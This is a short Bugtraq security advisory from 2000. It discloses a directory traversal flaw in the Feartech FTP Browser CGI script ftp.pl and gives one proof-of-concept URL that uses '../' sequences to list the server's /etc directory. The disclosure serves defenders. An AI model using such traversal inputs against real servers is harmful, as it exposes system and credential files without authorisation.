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Date:         Wed, 12 Jul 2000 21:56:58 +0200
From: "zillion @ safemode" <zillion@SAFEMODE.ORG>
Subject:      ftp.pl vulnerability
To: BUGTRAQ@SECURITYFOCUS.COM

Feartech ftp browser problem

From the creators page ( http://www.feartech.com/vv/ftp.shtml )

-- snip --

FTP Browser allows you to display a html enhanced directory listing,
which is great for managing your ftp files. FTP
Browser can do all of the following:

-- snip --

But wait.. it can do more than just that :

http://www.server.com/cgi-bin/ftp/ftp.pl?dir=../../../../../../etc

The vedor has been notified a week ago but has released no fix or update

This ain't something huge but the script is offered on various script
archives.


zillion


site: http://www.safemode.org
email: zillion@safemode.org